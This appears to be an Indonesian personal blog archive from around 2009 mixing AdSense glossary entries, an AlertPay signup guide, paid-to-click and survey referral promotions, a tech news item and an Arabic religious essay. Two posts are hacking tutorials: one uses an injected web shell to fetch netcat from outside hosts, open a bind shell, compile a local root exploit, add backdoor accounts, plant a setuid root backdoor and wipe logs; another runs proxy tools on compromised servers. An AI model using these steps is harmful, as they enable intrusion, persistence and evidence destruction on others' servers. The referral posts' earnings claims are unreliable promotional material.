Referrals adalah satu lagi sumber pendapatan publisher di dunia AdSense. Ya, publisher dapat melakukan iklan referral, baik berupa banner maupun text, di situs mereka. Yg perlu diingat, iklan jenis ini bersifat CPA (Cost Per Action), dimana publisher baru akan dibayar apabila pengunjung yg meng-klik iklan tersebut telah melakukan tindakan tertentu.

Misalnya, pada iklan referral AdSense, pengunjung yg meng-klik iklan dan bergabung dengan Google AdSense baru akan menghasilkan pemasukan bagi publisher apabila pengunjung tersebut meraih $100 dalam jangka waktu 6 bulan (180 hari).

Contoh tampilan iklan Referrals adalah sebagai berikut:

Google Referrals Images
Saat ini ada 3 macam iklan referral, yaitu AdSense, AdWords, dan Firefox.
Channels

Channels adalah semacam label yg dapat diberikan pada Ad Units, Link Units, AdSense for Search, dan Referrals. Satu unit iklan dapat memiliki lebih dari satu lebih, dan sebaliknya, satu label dapat digunakan untuk lebih dari satu unit iklan. Di halaman laporan Google AdSense, hasil laporan akan dikelompokkan berdasarkan Channels, sehingga penggunaan Channels akan sangat memudahkan publisher untuk menganalisa perfomance AdSense mereka.

Umumnya, publisher akan memberikan nama Channels yg sama pada unit2 iklan yg ada di satu situs. Jika mau lebih detail, sah2 saja untuk memberikan nama Channels yg berbeda untuk tiap2 unit iklan di tiap2 situs. Yg perlu diingat, maksimal jumlah Channels yg diperbolehkan saat ini adalah 200 buah.
Page Impressions

Page Impressions adalah jumlah yg menunjukkan berapa kali halaman yg mengandung Ad Units dibuka oleh pengunjung. Nilainya tidak terpengaruh oleh kuantitas Ad Units yg ada di dalam halaman yg bersangkutan.
Clicks

Rasanya tidak perlu diterangkan panjang lebar. Clicks adalah jumlah klik pada Ad Units milik publisher. Dalam halaman laporan AdSense, publisher dapat melihat total klik yg ia dapatkan, maupun berdasarkan Ad Units maupun Channel-nya.
CTR (Clickthrough Rate)

CTR adalah perbandingan dalam persen antara jumlah klik yg diterima suatu Ad Units dengan jumlah tampilan Ad Units tersebut. Misal, satu Ad Units yg ditampilkan 40 kali dan di-klik 10 kali memiliki nilai CTR 25% (10:40).
Berapa nilai CTR yg ideal? Hal ini sulit ditentukan karena terpengaruh oleh banyak faktor, seperti sumber datangnya pengunjung, jumlah pengunjung, dan sebagainya. Untuk situs yg padat pengunjung misalnya, nilai CTR antara 8 - 10% sudah termasuk ideal.
CPC (Cost Per Click)

CPC adalah jumlah uang yg akan didapatkan oleh publisher apabila Ad Units tertentu di klik. Nilai CPC masing2 Ad Units berbeda dan ditentukan oleh banyak faktor, termasuk perfomance publisher dan kualitas situs milik publisher. Namun secara umum, nilai maksimal yg mungkin adalah 20% dari nilai bid dinamis yg ditawarkan pemasang iklan.
eCPM (Effective CPM)

eCPM atau CPM (Cost Per Million) adalah hasil pembagian antara jumlah pendapatan publisher dengan jumlah page impression (per 1000) yg ia dapatkan dari iklan2nya. Sebagai contoh, publisher yg menghasilkan $200 dari 50,000 impression akan memiliki nilai CPM sebesar $4 ($200/50).
Nilai eCPM pada umumnya tidak begitu bermanfaat bagi publisher. Namun publisher dapat secara garis besar melihat kesuksesan Channel / Ad Units-nya berdasarkan eCPM Channel atau Ad Units tersebut.

Sumber: Cosaaranda

Buat Rekening Alertpay

2009-01-05T18:19:00.006+02:00

Klik logo di bawah ini:

Lalu klik Sign Up

Choose Country pilihlah Indonesia

Ada 3 pilihan yaitu Personal Starter, Personal Pro dan Business

Personal Starter : Setiap transaksi tidak dikenakan biaya, tapi transaksi terbatas maksimal $ 400 perbulan dan $ 2000 pertahun.

Personal Pro : Setiap transaksi dikenakan biaya, transaksi tidak dibatasi.

Business : Khusus bagi Anda pemilik usaha online (merchant), misalnya Anda menjual sesuatu secara online.

Saran saya pilihlah Personal Pro atau business, walaupun dikenakan biaya tapi biayanya kecil, itupun kalau ada transaksi kalau tidak ada transaksi tetap tidak bayar apa-apa, Personal Pro sangat bagus untuk kedepannya.

Jika Anda memilih Personal Pro maka klik CREATE ACCOUNT yg ada dibawah Personal Pro.

Lalu isilah data-data Anda :

Firs Name : Nama pertama Anda misal Joko

Last Name : Nama akhir Anda misal Susanto

Phone : No telp atau HP Anda, misal telp Anda 021-123456 maka buat 6221123456 atau no HP Anda 0813123456 maka buat 62813123456

Address 1 : Alamat Anda misal Jl. Mawar No. 100

Address 2 : Kosongkan saja

City/Town : Kota tempat Anda tinggal

Country : Indonesia

Region : Propinsi tempat Anda tinggal

Postal Code : Kode Pos Anda

Lalu klik Next

Lalu isi lagi data-data Anda

Email Address : Masukkan email Anda

Password : Password disini diminta gabungan huruf dan angka minimal 6 karakter misal jokosusanto2000

Re-enter Password : Ulangi password yg Anda isi diatas tadi

Question 1 : Pilihlah pertanyaan yg Anda sukai

Answer 1 : Jawaban pertanyaan tsb

Question 2 : Pilih lagi pertanyaan

Answer 2 : Jawabannya

Lalu masukkan kode sesuai dg yg tertulis lalu klik kotak kecil yg bertulis I agree to AlertPays

Lalu klik Register

Setelah itu bukalah email Anda, lihatlah email yg dikirim oleh Alertpay,nah disana ada link untuk aktivasi atau validasi, klik saja link tsb, maka muncullah situs AlertPay isilah password Anda, lalu klik Log In.

Setelah itu isi lagi data transaksi pin

Create Transaction PIN : masukkan angka semua, minimal 4 karakter maksimal 8 karakter misalnya : 123456

Re-enter Transaction PIN : Ulangi angka yg Anda masukkan seperti diatas tadi misal 123456

Setelah itu Anda sudah berhasil terdaftar di AlertPay, tapi belum bisa untuk transaksi sebelum Anda verified, cara verified, klik tulisan Verified atau Become Verified.

Pada Document Types pilihlah Photo ID lalu klik Next.

Nanti disana ada pilihan

Driver’s license : yaitu SIM

Passport : yaitu Paspor

State ID : KTP

Country ID : Bisa juga KTP atau KTP Nasional

Pilihlah salah satu yg Anda miliki, sebelumnya scan dulu.

Misalnya Anda memilih Driver’License atau SIM maka scan SIM Anda, setelah di scan tentu akan tersimpan file anggaplah nama filenya sim.jpg

klik kotak kecil Driver’s License lalu browse carilah file sim.jpg lalu klik Upload.

Begitu juga untuk Proof Of Address, nanti disana ada pilihan

Utility Bill : Tagihan listrik, PAM,PBB (Pajak Bumi dan Bangunan) atau tagihan apa saja yg disana ada nama Anda dan alamat Anda dan yg diminta tagihan 3 bulan yg lalu.

Phone Bill : Tagihan telepon, bisa juga tagihan HP pasca bayar, misalnya kartu halo, xplor dll, yg disana ada nama Anda dan alamat Anda dan yg diminta tagihan 3 bulan yg lalu.

Credit Card Statement : Tagihan kartu kredit atau surat-surat dari kartu kredit yg disana ada nama Anda dan alamat Anda dan yg diminta tagihan 3 bulan yg lalu.

Bank Statement : Surat-surat dari Bank yg disana ada nama Anda dan alamat Anda dan yg diminta tagihan 3 bulan yg lalu.

Pilihlah salah satu yg Anda miliki lalu discan, jangan lebih dari 5 MB, jika lebih bisa dikurangi dg program ACdsee atau photoshop, setelah di scan anggaplah filenya buktialamat.jpg, lalu browse carilah file buktialamat.jpg lalu klik Upload.

Tunggulah 3 hari bisnis (sabtu, minggu dan hari libur tdk termasuk hari bisnis). Jika disetujui maka status Anda akan menjadi verified, maka Anda sudah bisa transaksi.

Untuk menunggu verified tsb Anda sudah bisa mengikuti bisnis-bisnis gratis yg saya informasikan.

Untuk login yaitu email Anda, Password yg Anda masukkan saat daftar (huruf dan angka misal jokosusanto2000).

Kalau untuk transaksi nanti barulah diminta Transaction PIN (angka semua misalnya 123456)

Lalu kemanakah pencairannya ? Setelah account Anda di verified nanti pencairannya ada pilihan

1. Transfer Bank : Untuk Indonesia belum ada

2. Cek : Internasional dan Indonesia bisa

3. E-gold : Kalau dulu bisa sekarang sudah tidak bisa.

Jadi untuk sementara cara pencairannya adalah dg cek. Jika ada uang yg masuk ke AlertPay Anda anggaplah $ 100, lalu klik Withdraw Funds lalu isilah data-data Anda dg benar jumlah uang dan alamat serta nama Anda, terutama alamat Anda, karena cek akan diantar ke alamat Anda. Cek tersebut bisa dicairkan diBank manapun diseluruh Indonesia.

Tutorial Local Root Exploit

2009-01-05T04:43:00.004+02:00

Posted by xshadow On June - 21 - 2008

netcatk lanjut aja.. nich tutor buat local root exploit :D

ok peralatan yang dibutuhkan (recruitment):

- shell yang dah di inject

- mig-log cleaner ==> hxxp://kvazar.ru/virtualhost/lg/files/miglc

- netcat ==> hxxp://h1.ripway.com/xshadow/wp/nc111nt.zip

- netcat ==> hxxp://kvazar.ru/virtualhost/lg/files/nc

- local root exploit ==> hxxp://www.linuxrootkit.cn/localroot/ atau hxxp://www.y0ume.net/localroot/

- sedikit otak

- ketelitian

ok lanjut…

1. masuk ke shell yag telah kalian inject…

entah kalian naruh dimana tuh shell…

http://target.com/shellinjectkalian.php

2. download file netcat buat dijalankan di target… jika kalian memakai shell c100 tinggal pilih.. pakai backconnection apa pakai backdorhost… jika memakai shell modifan kalian… terpaksa dunlut file netcat yang saya berikan…

wget http://kvazar.ru/virtualhost/lg/files/nc

jika sudah terdunlut ubah chmod-nya supaya bisa di eksekusi…

chmod +x nc

setelah diubah chmod-nya…

eksekusi file nc

./nc -l -p 8080 -e /bin/sh

jika netcat sudah terinstall… mari kita jalankan lewat pc kita :))

nc VictimIP Port (port yang kita pakai di contoh adalah 8080, dimana angka tersebut bisa diubah sesuai keinginan kita)

eg: nc 321.321.321 8080

ketika udah muncul tampilan backconnect dari jendela netcat kita…

kita lanjut ke yang berikut… download local exploitnya… jangan lupa.. samakan kernel target dengan exploitnya… (biar cocok) filenya berextensi *.c

aku contohkan memakai h00lishit.c

wget hxxp://www.linuxrootkit.cn/localroot/h00lyshit.c

setelah terdownload… compile file c tersebut…

gcc h00lyshit.c -o h00lyshit;chmod +x h00lyshit (dimana tanda ; adalah multi command… biasanya dipakek yang males2…)

nanti akan muncul file h00lyshit.. setelah itu eksekusi…

./h00lyshit

pada tahapan ini kamu harus sabar… biasanya lama bgt…

ketika sudah finish.. dan tidak ada pesan error apaun… coba jalankan command berikut…

whoami

atau

id

pasti akan muncul

uid=0(root) gid=0(root) groups=500(apache) atau apalah.. pokoknya root :P

sekarang sa’atnya mabuk… wkwkwkkww….

wait.. kalo dah mabuk… jangan lupa yang berikut ini…

kita add user… pastikan dahulu… dan kita buat backdoor

add user

/usr/sbin/useradd robber -g wheel -s /bin/bash -d /etc/.robber
passwd -d xshadowyangtampantiadaduanya

/usr/sbin/adduser robber -g root -d /home/robber -s /bin/bash
passwd -d xshadowyangtampantiadaduanya

/usr/sbin/adduser ftp -g root -d /home/robber -s /bin/bash
passwd -d xshadowyangtampantiadaduanya

/usr/sbin/useradd mailbin -c mail -d /var/spool/mail

/etc/init.d/httpd restart

ok

atau

#include
#include
#include
#include

int main( void )
{
setuid( 0 );
system( “/bin/bash” );

return 0;
}

root@xshadow /root# gcc -o .bkdr main.c
root@xshadow /root# chown root:root .bkdr
root@xshadow /root# chmod +s .bkdr

compile dan change permissionnya :D

kamu akan mendapatkan file .bkdr… dari situ terjadi penge-$PATH dan jika eksekusi memakai user lain maka

guest@xshadow /home/guest$ /usr/local/bin/.bkdr
root@xshadow /home/guest# whoami
root

dah kan.. balik lagi jadi root :P

sekarang saatnya bersih2 kotoran km.. :P

wget hxxp://kvazar.ru/virtualhost/lg/files/miglc;chmod +x miglc

jalankan pembersihnya

./miglc

sukses… heuheue…

selamat menikmati acara kamu berikutnya :P

oya.. kalo km pasang shell di site yang ada… kamu akan mendapati shell dengan jabatan root

membuat proxy dengan shell inject

2009-01-05T03:41:00.001+02:00

kamu punya shell..??? tapi bingung mo diapain?? aku punya jawabannya… ayo kita buat proxy sendiri menggunakan shell hasil inject-an kita… hehhee…

ok daripada banyak bacot.. kita mulai tutorialnya…

INGAT… ini hanya buat kamu yang dah punya shell hasil inject-an, dan shell itu menggunakan LINUX sebagai Operating F*ckin system-nya

1. cari folder yang permision 777 (drwxrrwxrwx) dengan menggunakan command

“find / - tipe d -perm 777”

kalo dah ketemu… masuk ke folder tersebut…

2. download file proxy.tgz ini dengan menggunakan command “wget http://h1.ripway.com/xshadow/proxy.tgz” atau

“lwp-download http://h1.ripway.com/xshadow/proxy.tgz“.

Kalo masih tetep gak bisa.. dengan terpaksa kamu harus dunlut file proxy.tgz trus upload ke shell inject-an kamu tadi… kalo dah ter download atau upload file proxy.tgz-nya… kamu boleh masuk ke no.3

3. extra’ file proxy dengan menggunakan command “tar -zvxf proxy.tgz” nanti akan menghasilkan folder “pro” pada folder yang 777 tadi…

4. masuk ke folder “pro” dengan menggunakan command “cd pro”

5. kemudian execute menggunakan command “./xh -s “/usr/local/apache/bin/httpd -DSSL””

6. execute sekali lagi menggunakan command “./prox -a -d -p1810” dimana angka pada -p1810 itu digunakan sebagai port… terserah kamu buat port brapa.. yang penting jangan menggunakan kepala angka 0 ex: 0932 atau apalah.. kalo bisa kamu lihat hasil nomor hari ini di www.totobet.net hari ini… heuheuehue

7 sukses

nah untuk menggunakan proxy tersebut… dimana dns website itu sebagai nomor proxy… dan nomor togel yang di -p1810 ituitu adalah nomor port…

Klak-Klik Dapat Duit, Daftarkan Segara. Tunggu Apalagi.

2009-01-04T03:38:00.002+02:00

Yuk Bareng-bareng Ikutan Daftar. Bagi-bagi RIZKI daripada bengong. Klik-klik dapat duit. Tunggu apa lagi ......... Tinggal Klik: http://www.massiveptc.com/?r=mhasbi

At Massive PTC, you get paid to click on ads and visit websites.
The process is easy! You simply click a link and view a website for 30 seconds to earn money. You can earn even more by referring friends. You'll get paid $0.01 for each website you personally view and $0.0075 for each website your referrals view. Payment requests can be made every day and are processed through Alertpay. The minimum payout is $10.00.

Earnings Example
» You click 10 ads per day = $0.1
» 20 referrals click 10 ads per day = $1.5
» Your daily earnings = $1.6
» Your weekly earnings = $11.2
» Your monthly earnings = $48
» Your total annual earnings = $576

The above example is based only on 20 referrals and 10 daily clicks. Some days you will have more clicks available, some days you will have less. What if you had more referrals? What if there were more ads available?

Thousands of satisfied members that have received their payment.

(TIPS) Get Money Free, Legal And Lawful Just Via Ur Browsing

2009-01-04T02:13:00.003+02:00

U can buy premium account of Rapidshare Free or other account else.

Wow, it's true live this will draw if us get something free of charge, but if only wishing free of chargewithout hard work and effort, that is unreasonable name.

If you wish to get free Rapidshare Premium account, there is a way of FREE, AD FOR and LAWFUL to get him. As correct as him don't free of charge also, we is buy Rapidshare Premium account, but money which we use to buy premium account of Rapidshare is not from our sack, bag, but from RESULTur EFFORT.

Core of him is we will be paid by having taken steps with refer to surveys. Money which isn't it to us can in transfer to our Paypal account. Afterwards we buy Premium account of Rapidshare pass our Paypal account. Altogether free of charge from internet.

Follow me step by step to get Rapidshare Premium account:

1. Click and register free accoount here A.W SURVEYS paid click in "Create A Free Account" to registry. After registration, do act to survey which have been provided. You'D get USD $ 6 after and registration of survey first.

2. please Registry Paypal Account http://www.paypal.com ( FREE). Needn'T put into credit card no if interrogated, because we use Paypal account to accept money of A.W Surveys.

3. After getting enough money, please transfer it into your Paypal account.

4. Buy Premium of Rapidshare account on Rapid Share website with your Paypal account.

In fact not only just Rapidshare account, but we can buy any kind of through the internet during them accept payment with Paypal, including amazon.com.
Hopefully can assist. Please try.

M Hasbi

Uang Gratis, LEGAL dan HALAL

2009-01-03T06:23:00.016+02:00

TIPS beli account premium RapidShare Gratis atau account lainnya.

Wah, memang hidup ini akan menarik jika kita mendapatkan sesuatu dengan gratis, namun jika hanya ingin gratis tanpa usaha dan kerja keras, itu namanya keterlaluan.

Jika anda ingin mendapatkan account RapidShare Premium gratis, ada cara yang GRATIS, LEGAL dan HALAL untuk mendapatkannya. Sebenarnya tidak gratis juga, kita bener-benar membeli account RapidShare Premium lewat websitenya. Namun uang yang kita gunakan untuk membeli account premium RapidShare bukan dari kantong kita, melainkan dari HASIL USAHA kita.

Intinya adalah kita akan dibayar setelah melakukan serangkaian surveys. Uang yang dibayarkan kepada kita bisa di transfer ke account kitai PayPal. Setelah itu kita membeli account Premium RapidShare lewat account PayPal kita. Semuanya gratis dari internet.

Langkah - langkah mendapatkan Premium account RapidShare:

1. Klik dan daftar accoount A.W SURVEY GRATIS disini

dimana kita akan dibayar. Klik di "Create A Free Account

" untuk mendaftar. Setelah registrasi, lakukan survey yang telah disediakan. Anda akan mendapatkan USD $6 setelah pendaftaran
dan survey pertama.

2. Daftar account PayPal di http://www.paypal.com
(GRATIS). Tidak perlu memasukkan no kartu kredit jika ditanyai, karena kita menggunakan account PayPal untuk menerima uang dari A.W Surveys.

3. Setelah mendapatkan uang cukup, transferkan ke account PayPal anda.

4. Beli Premium Rapidshare account dari website Rapid

Share dengan account PayPal anda.

Sebenarnya tidak hanya account RapidShare saja, tapi kita bisa membeli apa saja lewat internet selama mereka menerima pembayaran dengan PayPal, termasuk belanja di amazon.com.

Semoga bisa membantu. Silahkan mencoba.

Neh Klik untuk lihat Buktinya:

M Hasbi

Wow.. Salute. MUSLIMAH Inspirasi MASA DEPAN. Subhanallah....

2008-12-23T01:01:00.003+02:00

Apa Mimpi 'Wanita Teknologi' Indonesia?
Devi Suzanti - detikinet

Vania Vabrina Valindria (dok. nsn)

Jakarta - Vania Vabrina Valindria terpilih sebagai penerima anugerah Women in Technology dari Nokia Siemens Network (NSN). Apa saja impiannya bagi Indonesia?

Mahasiswi yang lulus cum-laude (GPA: 3,74) dari Institut Teknologi Bandung (ITB), jurusan Electrical Engineering ini terpilih karena segudang prestasi yang berhasil dicapainya. Selain di kampus, Vania juga berprestasi dalam hal musik.

Ditemui detikINET usai acara konferensi pers di Menara Mulia, Gatot Subroto, Jakarta, Senin (22/12/2008), wanita yang lahir di Jakarta, 21 tahun lalu ini berharap akan banyak penghargaan yang serupa untuk memberdayakan para wanita di dunia teknologi.

Vania berharap wanita Indonesia tidak hanya menjadi konsumen teknologi tetapi bisa menjadi bagian dari lahirnya teknologi-teknologi baru. "Setelah dapat WIT (Women in Technology-red) ini saya berharap penghargaan seperti ini akan diadakan lagi. Hal ini untuk memacu perempuan-perempuan Indonesia untuk belajar dan dan berprestasi sebanyak-banyaknya," ujar Vania.

Karena keterbatasan tenaga medis di pelosok-pelosok Indonesia, Vania berencana akan menggabungkan dunia teknologi dengan kesehatan. Contohnya, konsultasi dokter secara online.

Oleh karena itu, Vania menambahkan, ia ingin mempelajari networking lebih dalam. Dengan begitu dirinya dapat berkontribusi terhadap layanan kesehatan melalui e-health solution atau tele-medicine.

"Dengan menggunakan telemedicine bisa menggunakan diagnosis jarak jauh, caranya adalah dengan mengirimkan diagnosis gambar mata pasien (misalnya) yang dikirim melaui transfer data ke RS pusat, " tambah Vania.

Seleksi awal penghargaan ini dilakukan pada bulan September 2008 dengan pengumuman pemenang akhir Oktober 2008. Selaku pemenang, Vania mendapat kesempatan berkunjung ke Nokia Siemens Network Global R&D Center di Finlandia selama empat hari. ( wsh / wsh )

Apakah Islam agama perbudakan yang memberi legalitas perbudakan??

2008-12-20T19:27:00.008+02:00

تكمن الشبهة التى بين أيدينا الآن فى أن الإسلام دين استعباد يقبل شراء الناس وتسخيرهم وهو ما يعرف بنظام الرقيق ولم يجعل لهم أى حق من الحقوق التى أتاحها للأحرار ألا يعد ذلك مخالفا لمبدأ المساواة الذى ينادي به الإسلام _على حد زعمهم

الـــــرَّد علـــى الشبهــــــة

قبل أن نتحدث عن موقف الإسلام من الرق لا بد أن نذكر هؤلاء ببعض الحقائق أولا لنعرف هل ابتدع الإسلام نظام الرقيق أم أنه كان موجودا من قبل وتكمن هذه الحقائق على نحو ما يلى:ـ

الحقيقة الأولى:

هل الرق نظام ابتدعه الإسلام

لا يجرؤ أحد أن يدعى ذلك لأن الرق معروف من قديم الأزل فقد كان السادة والأمراء وأصحاب رءوس الأموال يملكون الكثير من الرقيق بأعداد لا حصر لها

إذا فإن الرق لم يكن اختراعا إسلاميا فقد كان موجودا قبل الإسلام بأزمنة عديدة

الحقيقة الثانية

كيف كان الرق قبل الإسلام

كان الرق قبل الإسلام بعدة طرق:ـ

1ـ الخطف:

ذلك أن ذا القوة كان يأتى على الضعيف فيطغى عليه بقوته ويسخره لخدمته ولم يكن المجتمع وقتها منصفا حتى يردع أمثال هؤلاء

2ـ الأسر:

وذلك فى الحروب بعد أن ينتصر فريق على آخر فيصبح الأسرى ملكاً لمن أسرهم ويملك عليهم حق البيع والشراء والقتل ولا منازع له فى هذا الحق

3ـ البيع والشراء:

فقد كانت لهم أسواق لبيع وشراء العبيد يقف فيها العبد والأمة كسلعة تباع وتشترى ناهيك عن امتهان آدميتهم فى أسلوب البيع والشراء من كشف للعورات وما إلى غير ذلك.

4ـ ولد الأمة:

ذالك أن الأمة إذا ولدت ولدا فإنه يعد ملكا لسيدها حتى وإن كانت الأمة متزوجة من رجل حر.

5ـ الهدايا:

فكان من الممكن أن يهدي السيد عبدا أو أمة مملوكة له لمن يريد من أصدقائه ولا يملك العبد أو الأمة الاعتراض على ذلك فهو أشبه بمن يهدى آخر حيوانا مثلا.

الحقيقة الثالثة

ما هى حقوق العبيد قبل الإسلام

بالبحث والتحرى فى تاريخ العرب والعجم قبل الإسلام لم نقف على أى حقوق تذكر للعبيد والإيماء فقد كان من حق السيد أن يتعامل معهم كما شاء وكيفما شاء بل كان من حقه تعذيبهم وقتلهم والاعتداء عليهم وتسخيرهم لخدمته دون أدنى مقابل اللهم إلا قليل الطعام الذى يحصلون عليه

هل غير الإسلام فى الرق

مما لا شك فيه أن الإسلام عدل كثيرا من حال الرقيق والعبيد من حيث الحقوق والمعاملة وتذكر معى الطرق العديدة التى كانت مفتوحة قبل الإسلام لدخول الرقيق وكيف وأن الإسلام حد من تلك الطرق

لماذا لم يلغى الإسلام نظام الرقيق مرة واحدة

كلنا يعلم أن هناك عادات كانت عند العرب قبل الإسلام وهذه العادات حينما يتعود الإنسان عليها سنينا طويلة فإنه من الصعب أن يغيرها مرة واحدة وهذا بالضبط ما حدث عند مجئ الإسلام فلهذه الأسباب لم يلغِ نظام الرقيق فى الإسلام جملة واحدة وهى كما يلى:ـ

السبب الأول

قوة بشرية هائلة

كانت أعداد الرقيق عند مجئ الإسلام هائلة جدا تصل إلى ألوف مؤلفة وكان وقتها من المستحيل أن يطلق سراح هذا الجمع الهائل من العبيد الذين إن أطلقوا فلا سلطان لهم أو عليهم ولا ننسي الضغوط النفسية التى كانوا يتعرضون لها من ملاكهم إذ لو أطلق سراحهم فى تلك الفترة لأصبحت قوة تدميرية فى المجتمع لأن هم أصبحوا أحرارا لا سلطان عليهم مشحونين بأسوأ معاملة فلربما طوعت لهم أنفسهم الانتقام وهو أمر حتمى الوقوع

السبب الثانى

منهج الإسلام فى تغيير العادات القبيحة

من المعلوم أن الإسلام نهج مبدأ معينا هو التدرج فى التكاليف بمعنى أن يدفع الناس من العادات البالية الضارة إلى الأخرى التى فيها صلاح المجتمع لكن على التدريج حتى لا ينفر الناس من تعاليمه

ولأنه من الصعب أن يتحول المجتمع من الضد إلى النقيض مرة واحدة

مثلا فى تحريم الخمر

أنزل الله عز وجل:

]يَا أَيُّهَا الَّذِينَ آَمَنُوا لَا تَقْرَبُوا الصَّلَاةَ وَأَنْتُمْ سُكَارَى حَتَّى تَعْلَمُوا مَا تَقُولُونَ[ ([1])

لان الناس وقتها كانوا يشربون الخمر أكثر من الماء فإذا منعوا الخمر مرة واحدة رجعوا إليه مرة واحدة وسبحان الله فى تدبيره لشئون خلقه إذ أن المصحات التى تعالج الإدمان فى عصرنا اليوم أخذت هذا المنهج فى علاج الإدمان وذلك عن طريق سحب المخدر تدريجياً من الجسد حتى لا تحدث صدمة للجهاز العصبي

ولما تعود الناس على اجتناب الخمر فى معظم أوقات النهار أنزل الله عز وجل

]يَا أَيُّهَا الَّذِينَ آَمَنُوا إِنَّمَا الْخَمْرُ وَالْمَيْسِرُ وَالْأَنْصَابُ وَالْأَزْلَامُ رِجْسٌ مِنْ عَمَلِ الشَّيْطَانِ فَاجْتَنِبُوهُ لَعَلَّكُمْ تُفْلِحُونَ[([2])

هنا امتنع الناس عن شرب الخمر بعدما تعودوا على ذلك تدريجيا

وكذلك الحال بالنسبة للرقيق لم يكن من السهل أن يطلق سراحهم جملة واحدة وإنما كان بالخطوات التالية:ـ

خطوات القضاء على نظام الرقيق

الخطوة الأولى:شراء العبيد وإعتاقهم

في بداية الإسلام أسلم كثير من العبيد ووقع عليهم ألوان بشعة من العذاب من ملاكهم فكان سيدنا أبو بكر الصديق يقوم بشرائهم وإعتاقهم ابتغاء مرضات الله تبارك وتعالى

الخطوة الثانية:غلق عدة أبواب من الرق

عرفنا أن طرق الرق كانت كثيرة قبل بعثة النبى صلى الله عليه وسلم لكن الإسلام أغلق الكثير منها ليحد من انتشار الرقيق فحرم صورا عديدة وألغى أخرى وإليك بيان ذلك

1ـ تحريم استرقاق الحر

بمعنى أن الشريعة حرمت الاستيلاء على الضعفاء وغيرهم فحرم على أي إنسان أن يأخذ حرا فيسترقه

قال تعالى فى حديثه القدسي

"عن النبي صلى الله عليه وسلم قال قال الله:ـ

ثَلَاثَةٌ أنا خَصْمُهُمْ يوم الْقِيَامَةِ رَجُلٌ أَعْطَى بِي ثُمَّ غَدَرَ وَرَجُلٌ بَاعَ حُرًّا فَأَكَلَ ثَمَنَهُ وَرَجُلٌ اسْتَأْجَرَ أَجِيرًا فَاسْتَوْفَى منه ولم يُعْطِ أَجْرَهُ "([3])

وجه الدلالة

يضع هذا الحديث القدسي الصحيح كل من تعدى على حر فأسره أو حبسه أو استرقه بأى حال من الأحوال فاستعمله لنفسه أو باعه فى خصومة مباشرة مع الله تبارك وتعالى فمن يطيق ذلك أو يتحمل عواقبه.

يعلق صاحب فتح البارى على هذه الجزئية من الحديث فيقول فى كتابه فتح البارى بشرح صحيح البخارى ما نصه:

قوله باع حرا فأكل ثمنه

خص الأكل بالذكر لأنه أعظم مقصود

ووقع عند أبي داود من حديث عبد الله بن عمر مرفوعا ثلاثة لا تقبل منهم صلاة فذكر فيهم ورجل اعتبد محررا وهذا أعم من الأول في الفعل وأخص منه في المفعول به

قال الخطابي

اعتباد الحر يقع بأمرين أن يعتقه ثم يكتم ذلك أو يجحد والثاني أن يستخدمه كرها بعد العتق والأول أشدهما

قلت وحديث الباب أشد لأن فيه مع كتم العتق أو جحده العمل بمقتضى ذلك من البيع وأكل الثمن فمن ثم كان الوعيد عليه أشد

قال المهلب

وإنما كان إثمه شديدا لأن المسلمين أكفاء في الحرية فمن باع حرا فقد منعه التصرف فيما أباح الله له وألزمه الذل الذي أنقذه الله منه

وقال ابن الجوزي

الحر عبد الله فمن جنى عليه فخصمه سيده

وقال بن المنذر

لم يختلفوا في أن من باع حرا أنه لا قطع عليه يعني إذا لم يسرقه من حرز مثله إلا ما يروي عن علي تقطع يد من باع حرا قال وكان في جواز بيع الحر خلاف قديم ثم ارتفع فروى عن علي قال من أقر على نفسه بأنه عبد فهو عبد ..

ونقل ابن حزم

أن الحر كان يباع في الدين حتى نزلت ]وإن كان ذو عسرة فنظرة إلى ميسرة[ ونقل عن الشافعي مثل رواية زرارة ولا يثبت ذلك أكثر الأصحاب واستقر الإجماع على المنع ([4])

ما يستفاد من النصوص السابقة

يستفاد من النصوص السابقة أن الإسلام قد حرم استرقاق الحر بكافة طرق الرق المعروفة وحرم على الرجل أن يسترق بدين عليه لغيره ذلك أنه قبل نزول الآية المشار إليها فى النص السابق كان الرجل إذا كان له دين على آخر وليست له القدرة على الوفاء كان من حقه أن يصبح المدين رقيقا لدائنه بهذا الدين إلى أن نزلت الآية الكريمة فألغى الإسلام بذلك هذا الحكم الظالم بل إن من سرق آخر وباعه أقيم عليه حد السرقة كل ذلك يؤكد أن الإسلام منع استرقاق الأحرار فى خطوة واسعة للقضاء على تلك الظاهرة

2ـ جعل إعتاق الرقبة من الكفارات

إذا أخطأ إنسان فى أمر ما فإن من بين وسائل إصلاح هذا الخطأ إعتاق رقبة بمعنى شراء عبد أو أمة ثم إطلاق سراحه بتحريره من الرق وجعله حرا لا قيود عليه

مثال ذلك

ـ كفارة الأيمان

ـ كفارة القتل الخطأ

3ـ منع الكفار من تملك الرقيق

ذلك لأن الإسلام يعلو ولا يعلى عليه

قال تعالى :ـ

]وَلَنْ يَجْعَلَ اللَّهُ لِلْكَافِرِينَ عَلَى الْمُؤْمِنِينَ سَبِيلًا[ ([5])

من هنا منع الإسلام الكفار من تملك الرقيق وأوجب عليهم عدم تملك الرقيق المسلم وألزمهم بإعتاقه بلا قيد أو شرط أو التنازل عنه لمسلم

بل إن الإسلام أوجب على الكافر إذا أسلم عنده رقيق أن يعتقه أو يتنازل عنه لمسلم

وما كان هذا إلا لأن الكفار ضربوا أبشع الأمثلة فى الإساءة للعبيد فمنُعوا من تملك الرقيق

4ـ إيجاب إعتاق الأقرباء وذوي الأرحام

أوجب الإسلام على المالك للرقيق ألا يكون من بينهم أحد أقاربه من ذوي الأرحام وأوجب عليه إعتاقه دون قيد أو شرط

الدليل على ذلك

عن ابن عمر رضي الله عنهما قال

قال رسول الله صلى الله عليه وسلم :

]من ملك ذا رحم محرم فهو حر[([6])

وجه الدلالة

يتضح من هذا الحديث النبوى الشريف أن أى إنسان ملك ذا رحم من أقاربه فإن هذا المملوك يصبح حرا بلا قيد أو شرط وهذا أمر وإخبار منه صلى الله عليه وسلم بذلك إذ لا يجوز أن يكون الأخ مملوكا لأخيه أو الأب لابنه وهكذا لأن ذلك يتنافى مع تعاليم الإسلام التى أمرت بالإحسان والتآلف مع ذوى الأرحام

5ـ إعطاء العبد الفرصة لشراء نفسه

أنشأ الإسلام نظاماً جديدا فى الرق يسمى بالمكاتب وهو أن يتفق العبد مع سيده على أن يدفع ثمن نفسه شيئا فشيئا فإذا أتم الثمن فقد أصبح حرا

بل إن الإسلام جعل من حق العبد أن يدفع نصف ثمنه وهو المعروف بنصف المكاتب وعليه فإنه يعامل كنصف عبد ونصف حر.

5ـ أم الولد

